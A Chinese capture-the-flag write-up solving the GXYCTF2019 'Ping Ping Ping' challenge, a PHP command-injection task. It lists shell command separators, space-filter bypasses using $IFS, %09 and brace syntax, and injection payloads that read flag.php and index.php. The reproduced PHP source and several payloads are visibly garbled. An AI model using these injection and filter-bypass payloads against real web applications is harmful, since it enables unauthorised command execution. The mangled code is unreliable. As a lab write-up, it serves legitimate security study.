buuctf[GXYCTF2019]Ping Ping Ping

这个题目的标题是pingping盲猜是关于命令执行的题目
打开环境后
只有一个/ip=?
应该是提示用get的方式来传参一个地址执行ping的操作
直接ping127.0.0.1
回显ping127.0.0.1的数据
说明是一道命令执行的题目
执行:?ip=127.0.0.1|ls
其中|的作用是命令分隔符
还有相关的符号
; --在 shell 中,是”连续指令”
& --不管第一条命令成功与否,都会执行第二条命令
&& --第一条命令成功,第二条才会执行
| --第一条命令的结果,作为第二条命令的输入
|| --第一条命令失败,第二条才会执行
这里采用|来执行
如果全部过滤
过滤了命令分割符,用%0a便可以分隔命令进行查看
127.0.0.1%0als

回显两个文件
直接访问flag.php
回显有过滤空格
既然过滤空格就绕过空格
常见的绕过符号有:
$IFS9、9 、9、IFS1、1、1、{IFS} 、%09(php环境下)、 重定向符<>、<、
{cat,flag.php} //用逗号实现了空格功能
采用{cat,flag.php} //用逗号实现了空格功能
构造payload:?ip=127.0.0.1|cat,flag.php

回显过滤了flag这个字符串
尝试拼接绕过;
a=fl;b=ag;aaab
构造:cat,a=fl;b=ag;aaab
回显相同
说明这种绕过方式没有用
那就先看一下index.php
构造:/?ip=127.0.0.1|cat,index.php
回显:

应该是,不能代替空格绕过
换一个?ip=127.0.0.1|cat%09index.php
回显:
再换
?ip=127.0.0.1|cat$IFS$2index.php

回显
/?ip=
|’|"|\|(|)|[|]|{|}/", ip,ip,ip,匹配)){
回preg_match("/&|/|?|*|<|[\x{00}-\x{20}]|>|’|"|\|(|)|[|]|{|}/", ip,ip,ip,匹配);
die(“fxck你的符号!”);
}else if(preg_match("//",ip))die("fxck你的空间!");elseif(pregmatch("/bash/",ip)){
die("fxck你的空间!");
}else if(preg_match("/bash/",ip))die("fxck你的空间!");elseif(pregmatch("/bash/",ip)){
die(“fxck您的庆典!”);
}else if(preg_match("/.*f.*l.*a.g./", $ip)){
die(“fxck你的标志!”);
}
a=shellexec("ping−c4".a=shell_exec("ping-c4".a=shellexec("ping−c4".ip);
echo"
";
print_r($a);
}
?>
发现过滤了很多包括空格、一些符号/.*f.*l.*a.g./、flag
构造拼接绕过?ip=127.0.0.1;a=g;cat$IFS1fla1fla1flaa.php

在源代码中找到flag

本文详细介绍了在buuctf[GXYCTF2019]Ping Ping Ping挑战中如何利用命令执行漏洞进行漏洞利用的过程,包括尝试的多种命令分隔符绕过方法和过滤字符的应对策略,最终成功获取flag。
555

被折叠的 条评论
为什么被折叠?



